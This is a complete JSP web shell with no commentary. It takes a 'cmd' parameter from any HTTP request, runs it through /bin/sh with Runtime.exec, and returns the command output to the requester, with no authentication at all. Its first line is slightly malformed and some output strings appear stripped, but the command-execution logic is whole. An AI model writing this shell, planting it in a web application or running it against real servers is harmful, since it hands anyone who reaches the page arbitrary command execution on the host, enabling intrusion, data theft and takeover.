%@ page import="java.io.*" %>
<%
      
Process p;
String s, cmd, html;
cmd = request.getParameter("cmd");
if (cmd == null) {
    cmd = "pwd";
}
String []bashcmd = {"/bin/sh","-c",cmd}; 
html = request.getParameter("html");
if (html != null) {
    out.println("");
}
p = Runtime.getRuntime().exec(bashcmd);
BufferedReader stdInput = new BufferedReader(new 
					     InputStreamReader(p.getInputStream()));
BufferedReader stdError = new BufferedReader(new 
					     InputStreamReader(p.getErrorStream()));
while ((s = stdInput.readLine()) != null) {
    out.println(s); 
    if (html != null) {
	out.println("
");
    }
}
while ((s = stdError.readLine()) != null) {
    System.out.println(s);
    if (html != null) {
	out.println("
");
    }
}
%>